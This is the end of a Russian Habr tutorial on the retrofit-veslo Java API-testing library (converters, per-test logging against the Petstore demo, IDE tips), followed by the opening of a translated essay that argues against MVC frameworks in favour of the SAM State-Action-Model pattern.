registerMimeConverter(jacksonConverter, APP\_JSON, APP\_JSON\_UTF8, TEXT\_JSON, TEXT\_JSON\_UTF8);
// использовать JacksonConverter если `Content-Type` не передан
registerMimeConverter(jacksonConverter, ContentType.NULL);
// использовать JacksonConverter для Map, List типов
registerJavaTypeConverter(jacksonConverter, Map.class, List.class);
// использовать специфический конвертер для специфического типа сырого тела
registerRawConverter(new CustomConverter<>(), CustomBody.class);
// использовать GsonConverter для любой модели
// из пакета "com.example.model.gson" (строгое соответствие)
registerPackageConverter(new GsonConverter(), "com.example.model.gson");
}
}
```
При осуществлении **запросов** содержащих тело, предполагается наличие аннотации `retrofit2.http.Headers` c заголовком `Content-Type`.
```
public interface PetApi {
@POST("/api/example")
@Headers({"Content-Type: application/json"})
AResponse addPet(@Body() Object pet);
}
```
Если у вас `Content-Type` заголовок заполняются в рантайме через мапку, то фабрика **не найдет конвертер** для MIME типа.
```
public interface PetApi {
@POST("/api/example")
AResponse addPet(@HeaderMap Map headers, @Body() Object pet);
// не перехватываются ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
}
```
К сожалению это особенность реализации `retrofit` и у нас нет возможности получить значение переменной метода. В таком случае можно создать свой конвертер по аналогии с примером `CustomConverterFactory` с указанием конвертера для пакета или java типа.
Так же можно явно указать конвертер при помощи аннотации `@RequestConverter`, `@ResponseConverter`. Данная функция как раз добавлена для обработки частных случаев, когда фабрика не может определить какой конвертер использовать.
```
public interface PetApi {
@POST("/v2/pet")
@RequestConverter(bodyClasses = {Pet.class}, converter = JacksonConverter.class)
@ResponseConverter(bodyClasses = {Pet.class, Err.class}, converter = JacksonConverter.class)
AResponse addPet(@Body Object body, @HeaderMap Map headers);
}
```
Если поле `bodyClasses` оставить пустым, то конвертер будет применен ко всем моделям из сигнатуры метода.
Например `@ResponseConverter(converter = JacksonConverter.class)` будет применен для конвертации тела ответа в модель `Pet` или `Err` (в зависимости от статуса).
В случае, если конвертер не найден, то будет брошен `ConverterNotFoundException` следующего содержания:
```
veslo.ConverterNotFoundException: Converter not found
Transport event: RESPONSE
Content-Type: null
DTO type: class org.touchbit.retrofit.veslo.example.model.Status
SUPPORTED RESPONSE CONVERTERS:
<Список встроенных конвертеров>
<Смотреть спойлер ниже>
```
Из исключения видно, что конвертер не найден при попытке конвертации тела ответа в класс `org.touchbit.retrofit.veslo.example.model.Status`. Это json модель, однако заголовок `Content-Type` в ответе отсутствует (`null`). Можем заводить баг на отсутствие MIME заголовка. Если это ожидаемое поведение (такое тоже бывает), то в вашем `CustomConverterFactory` нужно дополнительно зарегистрировать `JacksonConverter` для конвертации тела ответа, если заголовок `Content-Type` отсутствует:
`registerMimeConverter(JacksonConverter.INSTANCE, ContentType.NULL);`.
**Список встроенных конвертеров в `JacksonConverterFactory` (для примера)**
```
Raw converters:
veslo.client.converter.defaults.RawBodyTypeConverter
byte[]
java.io.File
java.lang.Byte[]
veslo.client.model.RawBody
veslo.client.model.ResourceFile
Content type converters:
veslo.JacksonConverter
application/json
application/json; charset=utf-8
text/json
text/json; charset=utf-8
Java type converters:
veslo.JacksonConverter
java.util.List
java.util.Map
veslo.client.converter.defaults.JavaPrimitiveTypeConverter
boolean
byte
char
double
float
int
long
short
veslo.client.converter.defaults.JavaReferenceTypeConverter
java.lang.Boolean
java.lang.Byte
java.lang.Character
java.lang.Double
java.lang.Float
java.lang.Integer
java.lang.Long
java.lang.Short
java.lang.String
```
[К содержанию](#anchor_TOC)
Полезности
----------
**Логирование каждого теста в отдельный лог файл**
В модуле `example` реализовано логирование каждого теста в отдельный лог файл. Это предполагает уникальные имена тестовых методов. Я использую `LiveTemplates` (об этом ниже) для создания тестовых методов в формате `test`, например `test1640455066880()`. Я всегда использую аннотацию `@DisplayName("")` с вменяемым описанием теста, чтобы как раз не пыжиться с названием тестового метода в классе. Если вы не сторонних наименования тестов в подобном формате, то можно дополнительно использовать пакет тестового класса в имени файла лога. Смотреть метод `JunitExecutionListener.executionStarted()`.
Детально вдаваться в подробности реализации логирования я не буду, но готовое решение вы можете копипастнуть из модуля `example` и модифицировать под свои нужды.
[](https://habrastorage.org/webt/vq/jh/ys/vqjhysyzsx3jklt3tw6tef3d4a0.png)
**Пример лога теста**
Пример лог файла теста `AddPetTests.test1640455066880()`
```
14:38:04.786 INFO - Test started: Checking the Pet model contract (PropertyNamingStrategy.SnakeCaseStrategy)
14:38:05.962 INFO - API call: Logs user into the system
14:38:05.974 INFO - REQUEST:
GET https://petstore.swagger.io/v2/user/login?password=abc123&username=test
Headers:
Host: petstore.swagger.io
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/3.14.9
Body: (absent)
14:38:06.112 INFO - RESPONSE:
200 https://petstore.swagger.io/v2/user/login?password=abc123&username=test
Headers:
date: Fri, 04 Feb 2022 11:38:06 GMT
content-type: application/json
access-control-allow-origin: *
access-control-allow-methods: GET, POST, DELETE, PUT
access-control-allow-headers: Content-Type, api_key, Authorization
x-expires-after: Fri Feb 04 12:38:06 UTC 2022
x-rate-limit: 5000
server: Jetty(9.2.9.v20150224)
Content-Length: -1
Body: (78-byte body)
{"code":200,"type":"unknown","message":"logged in user session:1643974686051"}
14:38:06.115 INFO - Response check completed without errors.
14:38:06.206 INFO - API call: Add a new pet to the store
14:38:06.817 INFO - REQUEST:
POST https://petstore.swagger.io/v2/pet
Headers:
Content-Type: application/json
Content-Length: 291
Host: petstore.swagger.io
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/3.14.9
api_key: special-key
Body: (291-byte body)
{
"id" : 496977483,
"photoUrls" : [ "www.shelba-bogisich.co.uk" ],
"category" : {
"id" : 1082547212,
"name" : "erjtrtczfi"
},
"name" : "gorilla",
"tags" : [ {
"id" : 1231521466,
"name" : "ybabllzaxw"
}, {
"id" : 2012930363,
"name" : "vgobbqhmxu"
} ]
}
14:38:07.132 INFO - RESPONSE:
200 https://petstore.swagger.io/v2/pet
Headers:
date: Fri, 04 Feb 2022 11:38:07 GMT
content-type: application/json
access-control-allow-origin: *
access-control-allow-methods: GET, POST, DELETE, PUT
access-control-allow-headers: Content-Type, api_key, Authorization
server: Jetty(9.2.9.v20150224)
Content-Length: -1
Body: (209-byte body)
{"id":496977483,"category":{"id":1082547212,"name":"erjtrtczfi"},"name":"gorilla","photoUrls":["www.shelba-bogisich.co.uk"],"tags":[{"id":1231521466,"name":"ybabllzaxw"},{"id":2012930363,"name":"vgobbqhmxu"}]}
14:38:07.306 INFO - Response check completed without errors.
14:38:07.386 INFO - SUCCESSFUL: Checking the Pet model contract (PropertyNamingStrategy.SnakeCaseStrategy)
file:///Users/ra/repo/src/github.com/touchbit/retrofit-veslo/example/target/logs/test/test1640455066880.log
```
При запуске теста в Intellij IDEA вы получите следующий вывод в случае падения
[](https://habrastorage.org/webt/ez/fj/u4/ezfju4fb9pg_fowurwadhylmlam.png)
Так же в `JunitExecutionListener` реализовано добавление лога теста в allure отчет. Смотреть метод `addTestLogAttachment()`.
[](https://habrastorage.org/webt/7y/nv/ns/7ynvnsvoy7hneulnpnobtr-vh78.png)
**Шаблонизация тестовых методов**
Прежде чем писать автотесты, я предпочитаю накидать чек-лист. В самом простом варианте, это текстовый файл вида:
```
Успешное аутентификация пользователя в магазине, если статус пользователя 'NEW'
Успешное аутентификация пользователя в магазине, если статус пользователя 'UNCONFIRMED'
Успешное аутентификация пользователя в магазине, если статус пользователя 'MEMBER'
Ошибка (403) при аутентификации пользователя в магазине, если статус пользователя 'BLOCKED'
Ошибка (400) при аутентификации пользователя в магазине, если username не передан
```
Кто-то скажет `многабуков`, но я сторонник предельной ясности в отчете и в логах теста.
Для ускорения создания тест-метода я использую `LiveTemplates` (IntelliJ IDEA). Копирую строку из чек-листа и набираю в классе аббревиатуру нужного шаблона. Далее по шаблону создается тестовый метод, который я уже реализую. Выглядит это вот так:
[](https://habrastorage.org/webt/fd/n7/ky/fdn7kymbug3mq5iozdtscu80j0c.gif)
Сам шаблон выглядит вот так:
[](https://habrastorage.org/webt/45/cb/i6/45cbi6ip2x5pr044mltk6m86ud8.png)
Тело шаблона:
```
@org.junit.jupiter.api.Test
@org.junit.jupiter.api.DisplayName("$DESCRIPTION$")
public void test$ID$() {
$END$
}
```
Настройки шаблона:
```
DESCRIPTION - clipboard()
ID - groovyScript("return new Date().getTime();")
```
**Плагины IntelliJ IDEA**
**RoboPOJOGenerator**
[Homepage](https://plugins.jetbrains.com/plugin/8634-robopojogenerator)
Генерирует POJO классы по JSON структуре под различные фрэймворки.
File -> New -> Generate POJO from JSON
[](https://habrastorage.org/webt/p9/9k/g2/p99kg2mex26fgqctkhq63zi8qek.png)
**String Manipulation**
[Homepage](https://plugins.jetbrains.com/plugin/2162-string-manipulation)
Мощнейший плагин по форматированию строк. Возможности просто колоссальные. Больше примеров смотрите на странице плагина.
[](https://habrastorage.org/webt/kw/ck/_z/kwck_z3t5ct4xwsnxgrsykfxqxs.gif)
[](https://habrastorage.org/webt/x9/sz/cs/x9szcspxzqs5b-pucbzefz6fwcq.gif)
**Рекомендуется настройка хоткеев**
[](https://habrastorage.org/webt/jj/cs/av/jjcsavmmkrrep6ppl9efr_tpqok.png)
**Rainbow Brackets**
[Homepage](https://plugins.jetbrains.com/plugin/10080-rainbow-brackets)
Цветовая дифференциация переменных, скобок, тегов и т.д.
[](https://habrastorage.org/webt/zx/h6/sv/zxh6svlpm1oevhxkygxm3w5akgg.png)
**Archive Browser**
[Homepage](https://plugins.jetbrains.com/plugin/9491-archive-browser)
Позволяет просматривать архивы непосредственно в проекте.
[](https://habrastorage.org/webt/be/2v/pk/be2vpkqjqawsmhcz35js2u2be38.png)
**Fluent setter generator**
[Homepage](https://plugins.jetbrains.com/plugin/7903-fluent-setter-generator)
Старенький, но все еще безотказно работающий генератор fluent сеттеров. Это на случай, если вы все еще не пользуетесь lombok.
[](https://habrastorage.org/webt/uw/md/jw/uwmdjwgih5avtb5gsyykkczppcu.gif)
[К содержанию](#anchor_TOC)
В заключение
------------
Какие для себя выводы я сделал
1. Решился на OpenSource проект — делай для людей, а не для себя.
2. OpenSource библиотеку писать значительно сложнее, чем для личного пользования. Тем более в одно лицо.
3. Продумывать архитектуру решения с учетом конечного пользователя и возможного развития продукта крайне занимательно.
4. Хоть я парень опытный, но в разработке юнит-тестов дилетант.
5. Инженерам по автоматизации тестирования обязательно нужно уметь писать юнит-тесты. А лучше писать их на постоянной основе в помощь разработчикам.
6. Стремиться в 100% code coverage дело крайне полезное, особенно если пишешь решение на базе другого.
7. На практике юнит-тестами все не проверишь. Обязательно что-нибудь вылезет на этапе функционального/интеграционного тестирования, причем в работе со сторонними библиотеками.
8. Сторонние библиотеки могут работать непредсказуемо и существенно изменяться на минорных версиях.
9. Переделать архитектуру, когда решение почти готово — больно, но конечный результат вдохновляет.
10. Возможно стоило переписать сам `retrofit` клиент, а не делать расширение.
11. Проверяй свое решение на всех поддерживаемых версиях java.
12. С лицензированием кода не все так просто, но процедура разовая.
13. Пиши примеры и документацию как для дефективных, потом сам себе спасибо скажешь.
14. Фиксируй идеи в трекере, а не на бумажке, иначе любимый питомец бумажку съест.
15. Писать подобные решения возможно скорее будучи безработным (как раз поэтому и написал).
Разработка данной библиотеки с учетом реализации, автотестов, документации, примеров и данной статьи заняло примерно 2 месяца чистого рабочего времени. И это определенно не предел, так как продукт будет в дальнейшем развиваться в силу моей сферы деятельности и позиции.
Из глобальных планов — добавить конвертер для xml и protobuf, продумать удобную работу с SOAP конвертом и сделать видео гайд.
Если у вас есть идеи как можно улучшить данное решение, то прошу [сюда](https://github.com/touchbit/retrofit-veslo/issues).
Если вы хотите позаимствовать себе какие-то части данной библиотеки, то не стесняйтесь, так как библиотека распространяется под лицензией [Apache 2.0](https://github.com/touchbit/retrofit-veslo/blob/main/LICENSE).
Напоследок список возможно полезных ресурсов:
* [Автор сего решения](https://shaburov.github.io/)
* [Git репозиторий проекта](https://github.com/touchbit/retrofit-veslo)
* [Проект в maven central](https://mvnrepository.com/artifact/org.touchbit.retrofit.veslo)
* [TG группа: Veslo Q&A (retrofit)](https://t.me/veslo_retrofit)
* [TG группа: QA — Automation](https://t.me/qa_automation)
* [TG группа: QA — русскоговорящее сообщество](https://t.me/qa_ru)
* [TG группа: QA — вакансии и аналитика рынка вакансий](https://t.me/qa_jobs)
* [TG группа: QA — Резюме](https://t.me/qa_resumes)
Вот, собственно, и все. Буду рад фидбэку.
[К содержанию](#anchor_TOC) | https://habr.com/ru/post/647499/ | null | ru | null |
# Почему я больше не использую MVC-фреймворки
> Уважаемые хабравчане.
>
>
>
> Поскольку дискуссия вокруг статьи идет весьма активно, Жан-Жак Дюбре (он читает комментарии) решил организовать чаты в gitter.
>
>
>
> Вы можете пообщаться с ним лично в следующих чатах:
>
> <https://gitter.im/jdubray/sam>
>
> <https://gitter.im/jdubray/sam-examples>
>
> <https://gitter.im/jdubray/sam-architecture>
>
>
>
> Также автор статьи разместил примеры кода здесь: <https://bitbucket.org/snippets/jdubray/>
>
>
>
> По поводу кода он оставил следующий комментарий:
>
>
> > I don't code for a living, so I am not the best developer, but people can get a sense of how the pattern works and that you can do the exact same thing as React + Redux + Relay with plain JavaScript functions, no need for all these bloated library (and of course you don't need GraphQL).
> >
> >
>
>
Опубликовано с большого одобрения [автора](http://www.ebpml.org/about) и согласия портала [infoq.com](http://www.infoq.com/). Надеюсь, мои языковые навыки оправдают оказанное автором доверие.
Худшее в моей работе на сегодняшний день, это проектирование API для front-end разработчиков. Диалог с ними неизбежно разворачивается следующим образом:
> Dev — итак, на этом экране нужны данные x, y и z. Не мог бы ты сделать API, которое вернет данные в формате {x:, y:, z: }
>
>
>
> Я — ok
Я больше даже не спорю с ними. Проекты заканчивается ворохом различных API, привязанных к экранам, которые меняются очень часто, что “by design” требует изменений в API. Вы и глазом моргнуть не успеваете, а у вас уже куча API и для каждого необходимо поддерживать множество форматов и платформ. Сэм Ньюман даже начал формализовывать этот подход как [BFF Pattern](http://samnewman.io/patterns/architectural/bff/), предполагающий, что это нормально — разрабатывать отдельное API для каждого типа устройства, платформы и, естественно, каждой версии вашего приложения. [Дэниэл Якобсон](http://www.infoq.com/news/2015/11/daniel-jacobson-ephemeral-apis) рассказывал, что Netflix был вынужден начать использовать новую характеристику для своего “Experience API”: эфемерность. Ох…
Пару месяцев назад я начал свой путь в поисках ответа на вопрос, почему все так сложилось и что с этим делать. Этот путь привел меня к сомнениям в прочнейшей из догм создания архитектуры приложений — MVC. И, когда я столкнулся с истинной силой реактивного и функционального программирования, я сосредоточился на простоте и уходе от раздувания, в создании которого наша отрасль так преуспела. Я думаю, вам могут быть интересны сделанные мной выводы.
Паттерн, который мы используем при разработке каждого экрана, MVC — Model-View-Controller. [MVC был изобретен в те дни](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller), когда Web еще не существовал и архитектура приложений была, в лучшем случае, толстым клиентом, который обращался напрямую к единственной базе данных по примитивной сети. И все же, спустя десятилетия, MVC до сих пор бессменно используется для создания [Omni-Сhannel приложений](http://blog.hubspot.com/marketing/omni-channel-user-experience-examples).
В связи с предстоящим выходом Angular2, возможно, сейчас самое время для пересмотра использования паттерна MVC и, следовательно, той ценности, которую MVC фреймворки привносят в архитектуру приложений.
Впервые я столкнулся с MVC в 1990-м году, когда NeXT выпустил [Interface Builder](https://en.wikipedia.org/wiki/Interface_Builder) (здорово осознавать, что это ПО до сих пор актуально в наши дни). В то время Interface Builder и MVC представлялись как большой шаг вперед. В конце 90-х паттерн MVC был [приспособлен к работе через HTTP](https://en.wikipedia.org/wiki/JSP_model_2_architecture) (помните [Struts](https://struts.apache.org/)?) и теперь MVC это краеугольный камень в архитектуре любых приложений, на все случаи жизни.
Даже React.js, казалось бы, далеко ушедший от догмы MVC, использовал этот эвфемизм, когда они представляли свой фреймворк: “[React это лишь View в MVC](http://blog.andrewray.me/reactjs-for-stupid-people/)”.
В прошлом году, когда я начал использовать React, я чувствовал что это что-то совершенно иное — вы где-то изменяете часть данных и, в тот же момент, без явного взаимодействия View и Model, весь UI изменяется (не только значения в полях и таблицах). Из-за этого я так быстро разочаровался в модели разработки React, и, очевидно, я был не одинок. Я поделюсь мнением [Андре Медейроса](http://futurice.com/blog/reactive-mvc-and-the-virtual-dom):
> React разочаровал меня по нескольким причинам. В основном из-за плохо спроектированного API, которое вынуждает пользователя [..] смешивать в одном компоненте несколько concerns.
Как проектировщик серверного API, я пришел к выводу, что не существует хорошего способа добавить вызовы API во front-end реализованный на React, именно потому, что React сосредоточен только на View, и в его модели разработки вообще нет понятия Controller.
Facebook до настоящего момента сопротивляется исправлению этого пробела на уровне фреймворка. Команда React разработала [паттерн Flux](https://facebook.github.io/flux/docs/overview.html), который так же разочаровывает, и теперь [Dan Abramov](https://twitter.com/dan_abramov) продвигает еще один паттерн, [Redux](https://blog.andyet.com/2015/08/06/what-the-flux-lets-redux/), который движется, в целом, в правильном направлении, но — я продемонстрирую это далее — не обеспечивает надлежащего способа работы с API из front-end.
Вы можете подумать, что, разработав GWT, Android SDK и Angular, инженеры Google имеют четкое представление (на английском языке звучит как каламбур — strong view) о том, какова наилучшая архитектура для front-end. Но, если вы почитаете некоторые [соображения об архитектуре Angular2](http://blog.ionic.io/angular-2-series-components/), вы не обязательно испытаете теплое чувство, что, уж хотя бы в Google, люди понимают, что они делают:
> Angular 1 не был построен на идее компонентов. Вместо этого мы прикрепляем контроллеры к различным [элементам] страницы по нашему усмотрению. Области видимости присоединялись или растекались (flow through) в зависимости от того, как наши директивы инкапсулируют сами себя (изолированные scope, кто-нибудь?)
Выглядит ли построенный на компонентах Angular2 намного проще? Не совсем. Основной пакет Angular2 сам по себе содержит 180 определений, а весь фреймворк доходит до ошеломляющие почти 500 определений, и это все поверх HTML5 и CSS3. У кого есть время изучить и совершенствоваться в такого рода фреймворке для построения web-приложений? Что будет, когда выйдет Angular3?
Поработав с React и увидев, что представляет из себя Angular2, я впал в уныние — эти фреймворки методично вынуждают меня использовать паттерн ~~BFF~~ Screen Scraping, в котором каждое серверное API подгоняется под набор данных, необходимых на экране, до мелочей.
Это был мой момент “Да пошло все к черту”. Я буду просто создавать приложения, без React, без Angular, без всяких MVC-фреймворков, и посмотрю, возможно мне удастся найти более удачный способ соединить View и нижележащее API.
Что мне действительно понравилось в React, так это взаимодействие между Model и View. То, что React не основан на шаблонах и что View сам по себе не может обратиться за данными, чувствовалось как разумное направление для изучения (вы можете только передать данные во View).
Достаточно поработав с React вы понимаете, что его единственное назначение — [декомпозиция View на набор чистых (pure) функций](https://egghead.io/lessons/javascript-redux-react-counter-example) и JSX-разметку:
```
```
Это не что иное как:
```
V = f(M)
```
К примеру, web-сайт одного из проектов, над которым я сейчас работаю, [Gliiph](http://gliiph.com/), построен при помощи функций подобных этой:
Рис.1 функция, отвечающая за генерацию HTML для компонента слайдера.
Эта функция наполняется из модели:
Рис. 2. Модель, работающая со слайдерами.
Когда вы понимаете, что обычные JavaScript-функции могут прекрасно выполнить нужную работу, вашим следующим вопросом будет: “зачем вообще я должен использовать React?”.
[Virtual dom](https://facebook.github.io/react/docs/glossary.html)? Если вам кажется, что вам он нужен (и я не уверен, что для многих это так), то есть [варианты](https://github.com/Matt-Esch/virtual-dom), и я думаю, что будут разработаны и другие.
[GraphQL](https://facebook.github.io/react/blog/2015/05/01/graphql-introduction.html)? Вообще-то нет. Не обманывайтесь доводами, что если Facebook использует это повсеместно, то это подойдет вам. GraphQL это не более чем декларативный способ создания [View Model](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93viewmodel). Когда вы вынуждены формировать Model в соответствии с View это проблема, а не решение. Как вообще команда React (в том смысле, что он reactive) может полагать, что это нормально, запрашивать данные при помощи [Client Specified Queries](https://facebook.github.io/react/blog/2015/05/01/graphql-introduction.html):
> GraphQL полностью управляется требованиями View и front-end разработчиками, которые их написали [...] С другой стороны, GraphQL-запрос возвращает в точности то, что запрошено клиентской стороной и не более
Что команда GraphQL, кажется, упускает — маленькое изменение, которое скрывается JSX-синтаксисом — что функции изолируют Model от View. В отличии от шаблонов или “запросов, написанных front-end разработчиками” функции не требуют, чтобы Model подходил ко View.
Когда View создается при помощи функции (в противовес шаблону или запросу) вы можете преобразовать Model так, как вам нужно, и наилучшим образом реализовать View без добавления искусственных ограничений в Model.
К примеру, если View отображает значение v и графический индикатор, показывающий, является ли это значение отличным, хорошим или плохим, вам не нужно добавлять значение индикатора в Model — функция должна просто посчитать значение индикатора из значения v, которое предоставил Model.
На данный момент, это не особо хорошая идея, напрямую встраивать подобные вычисления во view. Но совсем не трудно так же сделать view-Model чистой функцией, и, следовательно, нет необходимости использовать GraphQL когда вам нужен четко сформулированный ViewModel:
```
V = f( vm(M) )
```
Как ветеран MDE ([Model-driven engineering](https://en.wikipedia.org/wiki/Model-driven_engineering) — прим. переводчика), я могу заверить вас, что писать код бесконечно лучше, чем метаданные, будь то шаблон или сложный язык запросов наподобие GraphQL.
Подобный функциональный подход имеет несколько важных преимуществ. Во-первых, так же как React, он позволяет вам декомпозировать ваши View на компоненты. Естественный интерфейс, который они создают, позволяет вам реализовать темы для вашего web-приложения или web-сайта или выполнить рендеринг View при помощи других технологий (нативных, к примеру). Также, реализация при помощи функций может усовершенствовать способы реализации responsive-дизайна, которые мы используем.
Я не удивлюсь, к примеру, если в ближайшие несколько месяцев разработчики начнут создавать темы для HTML5 реализованные как компоненты на основе JavaScript-функций. На данный момент это то, как я делаю все мои web-сайты. Я беру шаблон и сразу же оборачиваю его JavaScript-функциями. Я больше не использую Wordpress — я могу получить лучшее от технологий HTML5 и CSS3 с тем же уровнем затрат (или меньшим).
Также, такой подход призывает к новому способу взаимодействия между дизайнерами и разработчиками. Кто угодно может написать подобные JavaScript-функции, тем более дизайнер шаблонов. Здесь нет “binding” синтаксиса, который необходимо изучать, нет JSX, нет шаблонов Angular, только простые [JavaScript-функции](http://www.ebpml.org/blog15/2016/01/sam-a-functional-approach-to-ui-construction/).
Что интересно, с точки зрения reactive data flow, эти функции могут работать там, где это имеет больше смысла — на сервере или на клиенте.
Но, что наиболее важно, данный подход позволяет View декларировать минимальный контракт взаимодействия с Model и оставляет Model-у решать, каким образом лучше всего предоставит нужные данные View. Такие вопросы как caching, lazy loading, orchestration, consistency под полным контролем Model. В отличие от шаблонов или GraphQL, никогда не возникает необходимость делать прямой запрос, составленный с точки зрения View.
Теперь, когда у нас есть способ отвязать друг от друга Model и View, следующий вопрос в том, как создать полновесную модель приложения из этого? Как должен выглядеть “Controller”? Для ответа на этот вопрос, давайте вернемся к MVC.
Apple знает кое что об MVC, так как они “украли” этот паттерн из Xerox SPARC в начале 80-х и [с того момента религиозно следуют ему](https://developer.apple.com/library/ios/documentation/General/Conceptual/CocoaEncyclopedia/Model-View-Controller/Model-View-Controller.html):
Рис. 3. Паттерн MVC.
Ключевой вопрос здесь в том, и Андре Медейрос очень красноречиво объяснил это, что [паттерн MVC “интерактивный”](http://futurice.com/blog/reactive-mvc-and-the-virtual-dom) (в противоположность реактивному). В традиционном MVC Action (Controller) вызывает метод обновления у Model и в случае успеха (или ошибки) решает, каким образом обновить View. Как он (Андре Медейрос — прим. переводчика) замечает, Controller не обязан действовать именно таким образом. Есть другой, не менее разумный, reactive, способ, смысл которого заключается в том, что Action должен просто передавать значения в Model, независимо от результата, вместо того, чтобы принимать решение о том, как должен быть обновлен Model.
Ключевым вопросом тогда становится: “как вы интегрируете Action-ы в reactive flow?” Если вы хотите разбираться в том, что такое Action-ы, вам может захотеться взглянуть на [TLA+](http://research.microsoft.com/en-us/um/people/lamport/tla/tla.html). TLA расшифровывается как “Temporal Logic of Actions”, формулировка изобретенная [доктором Лампортом](http://www.lamport.org/), получившим премию Тьюринга за это. Согласно TLA+ [Action-ы это чистые функции](http://research.microsoft.com/en-us/um/people/lamport/pubs/state-machine.pdf):
```
data’ = A (data)
```
Мне очень нравится основная идея TLA+, поскольку она подтверждает тот факт, что функции это лишь преобразования заданного набора данных.
С учетом этого, реактивный MVC может выглядеть примерно как:
```
V = f( M.present( A(data) ) )
```
Данное выражение ставит условием что Action, когда он срабатывает, высчитывает набор данных из набора входных параметров (таких как пользовательский ввод), которые передаются в Model, который, в свою очередь, решает, когда и как себя обновить. Когда обновление выполнено, View рендерится из нового состояния Model. Реактивная петля замыкается. Способ, которым Model сохраняет и извлекает данные, не имеет отношения к reactive flow, и никогда, абсолютно никогда, не должен быть “написан front-end разработчиками”. Никаких оправданий.
Еще раз, Action это чистые функции, без состояния и без side effect-ов (из уважения к Model, исключаем logging, к примеру).
Реактивный паттерн MVC интересен, поскольку, за исключением Model (разумеется), все остальное это чистые функции. Говоря по совести, Redux реализует именно это паттерн, но с ненужными церемониями в отношении React и несколько избыточной связанностью между Model и Action-ами внутри reducer. Интерфейс между Action-ами и Model это лишь передача сообщений.
Исходя из вышесказанного, паттерн Reactive MVC, в том виде как он есть, не завершен. Он не масштабируется под реальные приложения [как Дэн любит утверждать](https://egghead.io/lessons/javascript-redux-react-counter-example). Давайте рассмотрим простой пример, объясняющий почему.
Предположим, нам необходимо реализовать приложение, которое управляет пусковой установкой для ракет: как только мы начали отсчет, система убавляет счетчик и, когда он достигает нуля, если все свойства Model имеют корректные значения, инициируется запуск ракеты.
Данное приложение имеет простую машину состояний:
Рис. 4. Машина состояний приложения для запуска ракет.
Как *уменьшение (decrement)*, так и *запуск (launch)*, являются “автоматическими” действиями. То есть каждый раз, когда мы вносим (или вносим повторно) состояние отсчета, условия перехода будут оценены и, если состояние счетчика больше нуля, будет выполняться действие *decrement*. А когда значение достигнет нуля — будет вызвано действие *launch*. Действие *отмена (abort)* может быть вызвано в любой момент, что приведет систему в отмененное состояние.
В MVC такая логика будет реализована в Controller, и, вероятно, вызываться по таймеру из View.
Этот параграф очень важен, поэтому прочтите его внимательно. Мы увидели, что в TLA+ Action не имеет side effects-ов и результирующее состояние вычисляется как только Model обрабатывает результат вызова Action и обновляет сам себя. Это существенное отступление от традиционной семантики машин состояний, где Action определяет результирующее состояние. Иными словами, результирующее состояние не зависит от Модели. В TLA+, Action-ы, которые разрешены, и, следовательно, доступны для вызова в state representation (то есть во View) не связаны напрямую с Action-ами, которые вызывают изменения состояния. Другими словами, машины состояния не должны быть кортежами, соединяющими два состояния (S1, A, S2) каковыми они обычно являются. Они являются, скорее, кортежами форм (Sk, Ak1, Ak2,...) которые определяют все разрешенные Actions для состояния Sk с результирующим состоянием вычисляемым после того, как Action был применен к системе и Model обработал изменения.
Семантика TLA+ предоставляет превосходный способ концептуализации системы, при котором вы представляете объект “состояние”, отделенный от Action и View (которые являются лишь *отображением состояния*).
Model в нашем приложении выглядит следующим образом:
```
model = {
counter:,
started:,
aborted:,
launched:
}
```
Четыре (управляющих) состояния системы ассоциированы со следующими значениями в Model:
```
ready = {counter: 10, started: false, aborted: false, launched: false }
counting = {counter: [0..10], started: true, aborted: false, launched: false }
launched = {counter: 0, started: true, aborted: false, launched: true}
aborted = {counter: [0..10], started: true, aborted: true, launched: false}
```
Model описывается свойствами системы и их возможными значениями, в то время как cостояние определяет Action-ы, доступные для заданного набора значений. Бизнес-логика подобного вида должна быть где-то реализована. Мы не можем ожидать, что пользователю можно доверить выбор, какие действия возможны, а какие нет. Это условие, которое невозможно обойти. Тем не менее, подобную бизнес-логику сложно писать, отлаживать и сопровождать, особенно когда вам недоступна семантика для ее описания, например, в MVC.
Давайте напишем немного кода для нашего примера с запуском ракеты. С точки зрения TLA+, next-action предикат логически определяется из отображаемого состояния. Как только текущее состояние представлено, следующим шагом будет выполнение next-action предиката, который вычисляет и выполняет следующий Action, если таковой имеется. Оно же, в свою очередь предоставит данные Model, который инициирует рендеринг нового state representation и так далее.
Рис. 5. Реализация приложения для запуска ракет.
Обратите внимание, что в случае клиент-серверной архитектуры нам придется использовать протокол наподобие WebSocket (или polling, если WebSocket недоступен) для корректного отображения состояния после того, как автоматический Action выполнится.
Я написал очень маленькую open source библиотеку на [Java](https://bitbucket.org/jdubray/star-java/src) и [JavaScript](https://bitbucket.org/jdubray/star-javascript/src), которая строит состояние объекта с верной, с точки зрения TLA+, семантикой и привел примеры, которые используют [WebSocket, Polling и Queueing](http://www.ebpml.org/blog15/2015/06/designing-a-reliable-api-call-component-with-sam/) для реализации клиент-серверного взаимодействия. Как вы видите по примеру с приложением для запуска ракет, вы не обязаны использовать эту библиотеку. Реализация состояния достаточно проста в написании когда вы понимаете, что нужно написать.
Я считаю, что теперь у нас есть все элементы для того, чтобы формально описать новый шаблон, как альтернативу MVC — SAM pattern (State-Action-Model), реактивный, функциональный паттерн, уходящий корнями к React.js и TLA+.
Паттерн SAM может быть описан в виде следующего выражения:
```
V = S( vm( M.present( A(data) ) ), nap(M))
```
которое ставит условием, что View V системы может быть вычислено как чистая функция от Model, после применения Action-а A.
В SAM, A (Actions), vm (ViewModel), nap (next-action predicate) и S (state representation) являются и должны являться чистыми функциями. В случае SAM, то, что мы обычно называем “Состояние” (значения свойств системы) полностью ограничивают Model и логика, которая изменяет эти значения, недоступна за пределами Model.
В качестве примечания, предикат next-action, или nap() это callback, вызываемый как только state representation был создан и его предстоит отрендерить пользователю.
Рис. 6. Паттерн State-Action-Model (SAM).
Паттерн как таковой не зависит от каких-либо протоколов (и может быть с легкостью реализован через HTTP) и каких-либо клиентских/серверных технологий.
SAM не подразумевает, что вы всегда должны использовать семантику машины состояний дабы получить содержимое View. Когда вызов Action выполняется только из View, next-action предикат это null-функция. Хотя, это может быть хорошей привычкой — четко выделять управляющие состояния нижележащей машины состояний, поскольку View может выглядеть по разному в зависимости от того или иного (управляющего) состояния.
